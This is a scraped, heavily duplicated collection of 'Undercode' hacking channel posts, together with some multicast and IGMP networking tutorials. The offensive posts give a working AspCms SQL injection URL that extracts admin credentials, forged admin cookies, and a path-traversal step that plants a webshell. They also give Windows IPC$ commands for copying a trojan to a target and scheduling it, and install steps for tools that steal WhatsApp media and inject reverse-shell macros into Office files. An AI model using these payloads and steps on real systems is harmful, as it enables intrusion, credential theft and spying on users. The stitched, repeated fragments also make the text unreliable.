π¦These are the ten main network password cracking methods summarized by undercode
Many well-known hackers do not use any cutting-edge technology, but only use the psychology of passwords, starting with the user's psychology, analyzing the user's information from the minute, and analyzing the user's psychology, so as to crack the password faster. In fact, there are many ways to obtain information. If you have a good grasp of cryptographic psychology, you can quickly crack to obtain user information.
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π¦Aspcms version 0day collection
admin / content / About / AspCmsAboutEdit.asp? id = 19 and 1 = 2 union select 1,2,3,4,5, loginname, 7,8,9, password, 11,12,13,14,15,16 , 17,18,19,20,21,22,23,24 from aspcmsuser where userid = 1
ββββββββββββββββββββββββ
Unverified permissions, and injection vulnerability
admin / content / About / AspCmsAboutEdit.asp? Id = 19
Table name: aspcmsuser
column name: loginname, password
Use EXP:
admin / content / About / AspCmsAboutEdit.asp? Id = 19 and 1 = 2 union select 1,2,3,4,5, loginname, 7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23, password, 25,26,27,28,29,30,31,32,33,34,35 from aspcmsuser where userid = 1
2.0 Vulnerability Tester: Xiaoyao Revenge (please specify)
ββββββ Cookies fraud ββββββ
cookies: username = admin; ASPSESSIONIDAABTAACS = IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias = cn; LanguagePath =% 2F; languageID = 1; adminId = 1; adminName = admin; groupMenu = 1% 2C + 70% 2C + 10% 2C + 11% 2C + 12% 2C + 13% 2C + 14% 2C + 20% 2C + 68% 2C + 15% 2C + 16% 2C + 17% 2C + 18% 2C + 3 % 2C + 25% 2C + 57% 2C + 58% 2C + 59% 2C + 2% 2C + 21% 2C + 22% 2C + 23% 2C + 24% 2C + 4% 2C + 27% 2C + 28% 2C + 29% 2C + 5% 2C + 49% 2C + 52% 2C + 56% 2C + 30% 2C + 51% 2C + 53% 2C + 54% 2C + 55% 2C + 188% 2C + 67% 2C + 63 % 2C + 190% 2C + 184% 2C + 86% 2C + 6% 2C + 32% 2C + 33% 2C + 34% 2C + 8% 2C + 37% 2C + 183% 2C + 38% 2C + 60% 2C +9; GroupName =% B3% AC% BC% B6% B9% DC% C0% ED% D4% B1% D7% E9
isra2eel revenge encountered a station background changed by the administrator, NND. The homepage of the background has not been found for a long time, and finally go to the official down source code to see home.asp (if the version is different, please try main.asp), the tool is: Cookie & Inject Browser
ββββββ webshell get ββββ
all The version has a background editing style and can modify any file. Obtaining the webshell is very simple
. Admin / Style / AspCmsTemplateEdit.asp? Acttype = & filename = .. / .. / .. / index.asp
@UNDERCODETesting
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π¦Aspcms version 0day collection
admin / content / About / AspCmsAboutEdit.asp? id = 19 and 1 = 2 union select 1,2,3,4,5, loginname, 7,8,9, password, 11,12,13,14,15,16 , 17,18,19,20,21,22,23,24 from aspcmsuser where userid = 1
ββββββββββββββββββββββββ
Unverified permissions, and injection vulnerability
admin / content / About / AspCmsAboutEdit.asp? Id = 19
Table name: aspcmsuser
column name: loginname, password
Use EXP:
admin / content / About / AspCmsAboutEdit.asp? Id = 19 and 1 = 2 union select 1,2,3,4,5, loginname, 7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23, password, 25,26,27,28,29,30,31,32,33,34,35 from aspcmsuser where userid = 1
2.0 Vulnerability Tester: Xiaoyao Revenge (please specify)
ββββββ Cookies fraud ββββββ
cookies: username = admin; ASPSESSIONIDAABTAACS = IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias = cn; LanguagePath =% 2F; languageID = 1; adminId = 1; adminName = admin; groupMenu = 1% 2C + 70% 2C + 10% 2C + 11% 2C + 12% 2C + 13% 2C + 14% 2C + 20% 2C + 68% 2C + 15% 2C + 16% 2C + 17% 2C + 18% 2C + 3 % 2C + 25% 2C + 57% 2C + 58% 2C + 59% 2C + 2% 2C + 21% 2C + 22% 2C + 23% 2C + 24% 2C + 4% 2C + 27% 2C + 28% 2C + 29% 2C + 5% 2C + 49% 2C + 52% 2C + 56% 2C + 30% 2C + 51% 2C + 53% 2C + 54% 2C + 55% 2C + 188% 2C + 67% 2C + 63 % 2C + 190% 2C + 184% 2C + 86% 2C + 6% 2C + 32% 2C + 33% 2C + 34% 2C + 8% 2C + 37% 2C + 183% 2C + 38% 2C + 60% 2C +9; GroupName =% B3% AC% BC% B6% B9% DC% C0% ED% D4% B1% D7% E9
isra2eel revenge encountered a station background changed by the administrator, NND. The homepage of the background has not been found for a long time, and finally go to the official down source code to see home.asp (if the version is different, please try main.asp), the tool is: Cookie & Inject Browser
ββββββ webshell get ββββ
all The version has a background editing style and can modify any file. Obtaining the webshell is very simple
. Admin / Style / AspCmsTemplateEdit.asp? Acttype = & filename = .. / .. / .. / index.asp
@UNDERCODETesting
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VIRUS-2020 - EXPLOIT-LEAK.docx
3.9 KB
Victor CMS 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
Verified by Undercode
# Google Dork: N/A
Verified by Undercode
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π¦How to hack into a computer :
1) Trojan horse invasion
Trojan horse may be the most hated thing for the majority of computer enthusiasts, I believe many friends have been harassed by it. The Trojan may be uploaded by a hacker on the premise that the hacker has obtained the write permission of our operating system (for example, the ipc $ shared invasion mentioned below); or it may be that we have browsed some personal websites and browsed through the web Infected (using IE loopholes); of course, the most common situation is that our awareness of prevention is not strong, and we randomly run programs such as mm pictures and beautiful animations sent by others or download them on irregular websites. Software use.
Countermeasure: Increase the awareness of prevention, and do not run the software sent by others at will. Install the Trojan horse killing software and update the Trojan horse feature database in time. Recommend to use the cleaner, wood mark star.
2) ipc $ share invasion
Microsoft set this function in win is almost useless for individual users. Instead, it becomes a convenient channel for hackers to invade the nt architecture operating system. If your operating system has an insecure password, it is even more terrible.
π¦ A typical intrusion process is as follows:
(1) Obtain an account and password (guess, crack) by any method. There is a software called smbcrack circulating online that uses ipc $ to crack the account password. If your password has a low number of digits and is simple, it can be easily cracked. According to my personal experience, quite a lot of people set the administrator password to 123, 2003, or simply do not set a password.
(2) Use the command net use \\ xxx.xxx.xxx.xxx \ ipc $ "password" / user: "user name" to establish an ipc $ connection with certain permissions. Use copy trojan.exe \\ xxx.xxx.xxx.xxx \ admin $ to
copy the server side of the Trojan program to the system directory.
(3) Use the net time \\ xxx.xxx.xxx.xxx command to view the time of the other party's operating system, and then use at \\ 202.xxx.xxx.xxx 12:00 trojan.exe to let trojan.exe run at the specified time.
In this way, your computer is completely controlled by hackers.
Countermeasure: Disable server service, Task Scheduler service, remove the check mark before sharing network files and printers.
Of course, adding a strong password to your account is the most critical.
3) Invasion of iis vulnerability
As broadband is becoming more and more popular, install easy-to-learn iis on your win and build an ftp or web site that is open from time to time. Many people have already done so. But the endless loopholes of iis are really worrying.
> A remote attack can be completed by using the webdavx3 vulnerability attack program and the telnet command to complete a remote attack on IIS, which means that any command executed by the hacker at the moment is running on the compromised machine. If the format command is executed at this time, the harm can be imagined. Adding an account with the net user command is also a breeze.
> Countermeasure: Pay attention to Microsoft's official site and install the iis vulnerability patch in time.
4 ) Web page malicious code intrusion
When we browse the web, we will inevitably encounter some irregular websites. They often modify the registry of the browser without authorization. The direct manifestation is to modify the default homepage of IE, lock the registry, modify the right-click menu, etc. . In fact, most of the malicious code of web pages is achieved by modifying our registry. As long as you protect your registry, everything is ok.
5) Countermeasures: Install protection software with real-time monitoring function of the registry, and do a good job of backing up the registry. Disable the Remote Registry Service service and do not go to some websites that should not be on. Here undercode recommend everyone to use the firewall.
@undercodeTesting
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π¦How to hack into a computer :
1) Trojan horse invasion
Trojan horse may be the most hated thing for the majority of computer enthusiasts, I believe many friends have been harassed by it. The Trojan may be uploaded by a hacker on the premise that the hacker has obtained the write permission of our operating system (for example, the ipc $ shared invasion mentioned below); or it may be that we have browsed some personal websites and browsed through the web Infected (using IE loopholes); of course, the most common situation is that our awareness of prevention is not strong, and we randomly run programs such as mm pictures and beautiful animations sent by others or download them on irregular websites. Software use.
Countermeasure: Increase the awareness of prevention, and do not run the software sent by others at will. Install the Trojan horse killing software and update the Trojan horse feature database in time. Recommend to use the cleaner, wood mark star.
2) ipc $ share invasion
Microsoft set this function in win is almost useless for individual users. Instead, it becomes a convenient channel for hackers to invade the nt architecture operating system. If your operating system has an insecure password, it is even more terrible.
π¦ A typical intrusion process is as follows:
(1) Obtain an account and password (guess, crack) by any method. There is a software called smbcrack circulating online that uses ipc $ to crack the account password. If your password has a low number of digits and is simple, it can be easily cracked. According to my personal experience, quite a lot of people set the administrator password to 123, 2003, or simply do not set a password.
(2) Use the command net use \\ xxx.xxx.xxx.xxx \ ipc $ "password" / user: "user name" to establish an ipc $ connection with certain permissions. Use copy trojan.exe \\ xxx.xxx.xxx.xxx \ admin $ to
copy the server side of the Trojan program to the system directory.
(3) Use the net time \\ xxx.xxx.xxx.xxx command to view the time of the other party's operating system, and then use at \\ 202.xxx.xxx.xxx 12:00 trojan.exe to let trojan.exe run at the specified time.
In this way, your computer is completely controlled by hackers.
Countermeasure: Disable server service, Task Scheduler service, remove the check mark before sharing network files and printers.
Of course, adding a strong password to your account is the most critical.
3) Invasion of iis vulnerability
As broadband is becoming more and more popular, install easy-to-learn iis on your win and build an ftp or web site that is open from time to time. Many people have already done so. But the endless loopholes of iis are really worrying.
> A remote attack can be completed by using the webdavx3 vulnerability attack program and the telnet command to complete a remote attack on IIS, which means that any command executed by the hacker at the moment is running on the compromised machine. If the format command is executed at this time, the harm can be imagined. Adding an account with the net user command is also a breeze.
> Countermeasure: Pay attention to Microsoft's official site and install the iis vulnerability patch in time.
4 ) Web page malicious code intrusion
When we browse the web, we will inevitably encounter some irregular websites. They often modify the registry of the browser without authorization. The direct manifestation is to modify the default homepage of IE, lock the registry, modify the right-click menu, etc. . In fact, most of the malicious code of web pages is achieved by modifying our registry. As long as you protect your registry, everything is ok.
5) Countermeasures: Install protection software with real-time monitoring function of the registry, and do a good job of backing up the registry. Disable the Remote Registry Service service and do not go to some websites that should not be on. Here undercode recommend everyone to use the firewall.
@undercodeTesting
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π¦This program is just a small program to shorten brute force sessions on hydra > But to be more satisfying results of the brute force. You better interact directly with hydra, without having to use this black hydra console first
> this small tool choosed by toolx team
https://github.com/Gameye98/Black-Hydra
π¦πβπππΈπππππΈπππβ & βπβ :
simply clone and run as python
> type -h for help
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> this small tool choosed by toolx team
https://github.com/Gameye98/Black-Hydra
π¦πβπππΈπππππΈπππβ & βπβ :
simply clone and run as python
> type -h for help
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1) Install dependencies:
# apt-get update
# apt-get install openjdk-8-jdk
# apt-get install gradle
2) Use Java8:
Get Java8 dir with command:
# update-alternatives --list java
3) Copy and replace dir on command:
# update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
4) Download Android Studio:
https://developer.android.com/studio
5) Installing Android Studio:
# unzip ~/Downloads/android. zip -d /opt
# apt-get update
# apt-get install openjdk-8-jdk
# apt-get install gradle
2) Use Java8:
Get Java8 dir with command:
# update-alternatives --list java
3) Copy and replace dir on command:
# update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
4) Download Android Studio:
https://developer.android.com/studio
5) Installing Android Studio:
# unzip ~/Downloads/android. zip -d /opt
6) For AMD64 Arch, Install Android Studio dependencies:
# apt-get install lib32z1 lib32ncurses6 lib32stdc++6
7) Run Android Studio:
# cd /opt/android-studio/bin
# ./studio.sh
8) Go to SDK Manager (Configure -> SDK Manager) and Download:
Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository
9)Run script:
# git clone https://github.com/thelinuxchoice/whatshack
# cd whatshack/
# bash whatshack.sh
10) On First Time, Choose "n" when asks to build, then open the project on Android Studio:
cd /opt/android-studio/bin
./studio.sh
11) Import Gradle Project:
Choose whatshack app folder: whatshack/app/
# apt-get install lib32z1 lib32ncurses6 lib32stdc++6
7) Run Android Studio:
# cd /opt/android-studio/bin
# ./studio.sh
8) Go to SDK Manager (Configure -> SDK Manager) and Download:
Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository
9)Run script:
# git clone https://github.com/thelinuxchoice/whatshack
# cd whatshack/
# bash whatshack.sh
10) On First Time, Choose "n" when asks to build, then open the project on Android Studio:
cd /opt/android-studio/bin
./studio.sh
11) Import Gradle Project:
Choose whatshack app folder: whatshack/app/
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π¦HACK WHATSAPP-ANDROID USERS :
> Script to generate Android App to get all WhatsApp media (images, audios, videos)
> Issue take while to done
π¦πβπππΈπππππΈπππβ & βπβ :
1) Install dependencies:
# apt-get update
# apt-get install openjdk-8-jdk
# apt-get install gradle
2) Use Java8:
Get Java8 dir with command:
# update-alternatives --list java
3) Copy and replace dir on command:
# update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
4) Download Android Studio:
https://developer.android.com/studio
5) Installing Android Studio:
# unzip ~/Downloads/android. zip -d /opt
6) For AMD64 Arch, Install Android Studio dependencies:
# apt-get install lib32z1 lib32ncurses6 lib32stdc++6
7) Run Android Studio:
# cd /opt/android-studio/bin
# ./studio.sh
8) Go to SDK Manager (Configure -> SDK Manager) and Download:
Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository
9)Run script:
# git clone https://github.com/thelinuxchoice/whatshack
# cd whatshack/
# bash whatshack.sh
10) On First Time, Choose "n" when asks to build, then open the project on Android Studio:
cd /opt/android-studio/bin
./studio.sh
11) Import Gradle Project:
Choose whatshack app folder: whatshack/app/
12) Wait all dependencies downloading, if you got errors, click on showed links to solve.
Try build from Android Studio: Build > build APK's
Click on showed links if you got errors.
Close Android after building successfully.
13) open with any Text Editor the file app/build.gradle
remove "google()"
14) change gradle version from: 3.4.1 to: 2.2.0
save and exit.
15) Run script (as root):
# bash whatshack.sh
β Verified Use for learn only !!
@UndercodeTesting
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π¦HACK WHATSAPP-ANDROID USERS :
> Script to generate Android App to get all WhatsApp media (images, audios, videos)
> Issue take while to done
π¦πβπππΈπππππΈπππβ & βπβ :
1) Install dependencies:
# apt-get update
# apt-get install openjdk-8-jdk
# apt-get install gradle
2) Use Java8:
Get Java8 dir with command:
# update-alternatives --list java
3) Copy and replace dir on command:
# update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
4) Download Android Studio:
https://developer.android.com/studio
5) Installing Android Studio:
# unzip ~/Downloads/android. zip -d /opt
6) For AMD64 Arch, Install Android Studio dependencies:
# apt-get install lib32z1 lib32ncurses6 lib32stdc++6
7) Run Android Studio:
# cd /opt/android-studio/bin
# ./studio.sh
8) Go to SDK Manager (Configure -> SDK Manager) and Download:
Android SDK Build-tools, Android SDK-tools, Android SDK platform-tools, Support Repository
9)Run script:
# git clone https://github.com/thelinuxchoice/whatshack
# cd whatshack/
# bash whatshack.sh
10) On First Time, Choose "n" when asks to build, then open the project on Android Studio:
cd /opt/android-studio/bin
./studio.sh
11) Import Gradle Project:
Choose whatshack app folder: whatshack/app/
12) Wait all dependencies downloading, if you got errors, click on showed links to solve.
Try build from Android Studio: Build > build APK's
Click on showed links if you got errors.
Close Android after building successfully.
13) open with any Text Editor the file app/build.gradle
remove "google()"
14) change gradle version from: 3.4.1 to: 2.2.0
save and exit.
15) Run script (as root):
# bash whatshack.sh
β Verified Use for learn only !!
@UndercodeTesting
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ββ β ο½ππ»βΊπ«Δπ¬πβ β β ββ
π¦Payload in pdf 2020
>Inject Macro and DDE code into Excel and Word documents (reverse shell)
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone https://github.com/thelinuxchoice/eviloffice
2) cd eviloffice
3) python -m pip install -r requirements.txt
4) python eviloffice.py
π¦FEATURES :
1) Inject malicious Macro on formats: docm, dotm, xlsm, xltm
2) Inject malicious DDE code on formats: doc, docx, dot, xls, xlsx, xlt, xltx
3) Python2/Python3 Compatible
Tested: Win10 (MS Office 14.0)
β Verified by Undercode
@UndercodeTesting
ββ β ο½ππ»βΊπ«Δπ¬πβ β β ββ
π¦Payload in pdf 2020
>Inject Macro and DDE code into Excel and Word documents (reverse shell)
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone https://github.com/thelinuxchoice/eviloffice
2) cd eviloffice
3) python -m pip install -r requirements.txt
4) python eviloffice.py
π¦FEATURES :
1) Inject malicious Macro on formats: docm, dotm, xlsm, xltm
2) Inject malicious DDE code on formats: doc, docx, dot, xls, xlsx, xlt, xltx
3) Python2/Python3 Compatible
Tested: Win10 (MS Office 14.0)
β Verified by Undercode
@UndercodeTesting
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π¦Data Acquisition with LabVIEW β763 MB
https://www.lynda.com/LabVIEW-tutorials/Data-Acquisition-LabVIEW/2813149-2.html
DOWNLOAD HERE
https://www.lynda.com/LabVIEW-tutorials/Data-Acquisition-LabVIEW/2813149-2.html
DOWNLOAD HERE
LinkedIn
Data Acquisition with LabVIEW Online Class | LinkedIn Learning, formerly Lynda.com
Learn how to connect data-acquisition hardware to LabVIEW and acquire and generate analog and digital signals from a variety of real-world devices.
π¦ Necessity of multicast technology introduced :
1)γγwith the development of broadband multimedia networks, various broadband network applications are endless. Broadband applications such as IP TV, video conferencing, data and data distribution, network audio applications, network video applications, and multimedia distance education all pose challenges to the carrying capacity of existing broadband multimedia networks.
2) The traditional network built with unicast technology can no longer meet the requirements of emerging broadband network applications in terms of bandwidth and network service quality, and the problems of network delay, data loss and so on are followed. At this time, the introduction of IP multicast technology helps to solve the above problems. In a multicast network, even if the number of multicast users grows exponentially
3) there is no need to increase the network bandwidth in the backbone network. To put it simply, hundreds of thousands of multicast application users and a multicast application user consume the same bandwidth of the backbone network, thereby maximizing the bandwidth and network service quality requirements of current broadband applications.
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ
1)γγwith the development of broadband multimedia networks, various broadband network applications are endless. Broadband applications such as IP TV, video conferencing, data and data distribution, network audio applications, network video applications, and multimedia distance education all pose challenges to the carrying capacity of existing broadband multimedia networks.
2) The traditional network built with unicast technology can no longer meet the requirements of emerging broadband network applications in terms of bandwidth and network service quality, and the problems of network delay, data loss and so on are followed. At this time, the introduction of IP multicast technology helps to solve the above problems. In a multicast network, even if the number of multicast users grows exponentially
3) there is no need to increase the network bandwidth in the backbone network. To put it simply, hundreds of thousands of multicast application users and a multicast application user consume the same bandwidth of the backbone network, thereby maximizing the bandwidth and network service quality requirements of current broadband applications.
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ
π¦ the multicast technology-Networking tutorial by undercode :
1) IP Multicast technology system architecture
> multicast protocol into the host - group membership protocol between the router and the router - Multicast routing protocol between routers. Group membership protocols include IGMP (Internet Group Management Protocol). Multicast routing protocols are divided into intra-domain multicast routing protocols and inter-domain multicast routing protocols. Intra-domain multicast routing protocols include PIM-SM, PIM-DM, DVMRP and other protocols, and inter-domain multicast routing protocols include MBGP, MSDP and other protocols. In order to effectively suppress the spread of multicast data at the link layer, Layer 2 multicast protocols such as IGMP Snooping and CGMP are introduced.
2) IGMP establishes and maintains the group membership information of the direct network segment of the router. The intra-domain multicast routing protocol uses certain multicast routing algorithms to construct a multicast distribution tree and forward multicast data packets based on the membership information of these multicast groups maintained by IGMP. The inter-domain multicast routing protocol distributes multicast-capable routing information and multicast source information among autonomous domains, so that multicast data can be forwarded between domains.
3) multicast IP address
multicast IP address for identifying an IP multicast group. IANA allocates Class D address space to IP multicast, which ranges from 224.0.0.0 to 239.255.255.255. As shown in the following figure (binary representation), the first four digits of the IP multicast address are 1110.
Octet (1) Octet (2) Octet (3) Octet (4)
1110XXXX XXXXXXXX XXXXXXXX XXXXXXXX
4) Group Membership Protocol (IGMP) The
IGMP protocol runs between the host and the multicast router directly connected to the host. Through this protocol, the host tells the local router that it wants to join and accept information about a particular multicast group. At the same time, the router passes this The protocol periodically queries whether the members of a known group in the local area network are active (that is, whether the network segment still has members belonging to a multicast group), so as to collect and maintain the membership of the connected network group.
5) There are three versions of IGMP, IGMPv1 is defined by RFC1112, and the current common one is IGMPv2, defined by RFC2236. IGMPv3 is still a draft. IGMPv1 defines the basic group member query and reporting process. IGMPv2 adds a mechanism for group members to leave quickly. The main function added in IGMPv3 is that members can specify whether to receive or not to receive certain multicast source packets . Here focuses on the functions of the IGMPv2 protocol.
6)IGMPv2 elects the only querier for the connected network segment through the querier election mechanism. The querier periodically sends a general group query message to query the membership relationship; the host sends a report message to answer the query. When joining a multicast group, the host does not need to wait for the query message, and actively sends a report message. When leaving the multicast group, the host sends a leave group message; after receiving the leave group message, the querier sends a specific group query message to determine whether all group members have left.
> Through the above-mentioned IGMP mechanism, a table is established in the multicast router, which contains each port of the router and which group members are on the subnet corresponding to the port. When the router receives the data packets of a certain group G, it only forwards the data packets to the ports of the members that have G. The routing protocol determines how data packets are forwarded between routers, and IGMP is not responsible.
written by @Undercoder
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ
π¦ the multicast technology-Networking tutorial by undercode :
1) IP Multicast technology system architecture
> multicast protocol into the host - group membership protocol between the router and the router - Multicast routing protocol between routers. Group membership protocols include IGMP (Internet Group Management Protocol). Multicast routing protocols are divided into intra-domain multicast routing protocols and inter-domain multicast routing protocols. Intra-domain multicast routing protocols include PIM-SM, PIM-DM, DVMRP and other protocols, and inter-domain multicast routing protocols include MBGP, MSDP and other protocols. In order to effectively suppress the spread of multicast data at the link layer, Layer 2 multicast protocols such as IGMP Snooping and CGMP are introduced.
2) IGMP establishes and maintains the group membership information of the direct network segment of the router. The intra-domain multicast routing protocol uses certain multicast routing algorithms to construct a multicast distribution tree and forward multicast data packets based on the membership information of these multicast groups maintained by IGMP. The inter-domain multicast routing protocol distributes multicast-capable routing information and multicast source information among autonomous domains, so that multicast data can be forwarded between domains.
3) multicast IP address
multicast IP address for identifying an IP multicast group. IANA allocates Class D address space to IP multicast, which ranges from 224.0.0.0 to 239.255.255.255. As shown in the following figure (binary representation), the first four digits of the IP multicast address are 1110.
Octet (1) Octet (2) Octet (3) Octet (4)
1110XXXX XXXXXXXX XXXXXXXX XXXXXXXX
4) Group Membership Protocol (IGMP) The
IGMP protocol runs between the host and the multicast router directly connected to the host. Through this protocol, the host tells the local router that it wants to join and accept information about a particular multicast group. At the same time, the router passes this The protocol periodically queries whether the members of a known group in the local area network are active (that is, whether the network segment still has members belonging to a multicast group), so as to collect and maintain the membership of the connected network group.
5) There are three versions of IGMP, IGMPv1 is defined by RFC1112, and the current common one is IGMPv2, defined by RFC2236. IGMPv3 is still a draft. IGMPv1 defines the basic group member query and reporting process. IGMPv2 adds a mechanism for group members to leave quickly. The main function added in IGMPv3 is that members can specify whether to receive or not to receive certain multicast source packets . Here focuses on the functions of the IGMPv2 protocol.
6)IGMPv2 elects the only querier for the connected network segment through the querier election mechanism. The querier periodically sends a general group query message to query the membership relationship; the host sends a report message to answer the query. When joining a multicast group, the host does not need to wait for the query message, and actively sends a report message. When leaving the multicast group, the host sends a leave group message; after receiving the leave group message, the querier sends a specific group query message to determine whether all group members have left.
> Through the above-mentioned IGMP mechanism, a table is established in the multicast router, which contains each port of the router and which group members are on the subnet corresponding to the port. When the router receives the data packets of a certain group G, it only forwards the data packets to the ports of the members that have G. The routing protocol determines how data packets are forwarded between routers, and IGMP is not responsible.
written by @Undercoder
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π¦Networking
> Network Layer multicast-related protocols include IGMP Snooping, IGMP Proxy protocol and CGMP.
1) The implementation mechanism of IGMP Snooping is that the switch forms a correspondence between the group members and the switch interface by listening to the IGMP member report message sent by the host to the router; the switch forwards the received multicast packets to the group according to the correspondence Member interface.
2) IGMP Proxy and IGMP Snooping have the same function but different mechanisms: IGMP snooping only obtains relevant information by listening to IGMP messages, and IGMP Proxy intercepts the end user βs IGMP request and performs related processing before forwarding it to the upper layer router.
3) CGMP (Cisco Group Management Protocol) is a private protocol developed by Cisco based on the client / server model. With the support of CGMP, the multicast router can notify the switch which hosts join and leave the multicast group according to the received IGMP data packets. The switch uses the forwarding table constructed from this information to determine which interface to forward the multicast packet to. GMRP is a standard protocol from the host to the Ethernet switch. It enables multicast users to register multicast members on the layer 2 switch.
@Undercodeposts
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ
π¦Networking
> Network Layer multicast-related protocols include IGMP Snooping, IGMP Proxy protocol and CGMP.
1) The implementation mechanism of IGMP Snooping is that the switch forms a correspondence between the group members and the switch interface by listening to the IGMP member report message sent by the host to the router; the switch forwards the received multicast packets to the group according to the correspondence Member interface.
2) IGMP Proxy and IGMP Snooping have the same function but different mechanisms: IGMP snooping only obtains relevant information by listening to IGMP messages, and IGMP Proxy intercepts the end user βs IGMP request and performs related processing before forwarding it to the upper layer router.
3) CGMP (Cisco Group Management Protocol) is a private protocol developed by Cisco based on the client / server model. With the support of CGMP, the multicast router can notify the switch which hosts join and leave the multicast group according to the received IGMP data packets. The switch uses the forwarding table constructed from this information to determine which interface to forward the multicast packet to. GMRP is a standard protocol from the host to the Ethernet switch. It enables multicast users to register multicast members on the layer 2 switch.
@Undercodeposts
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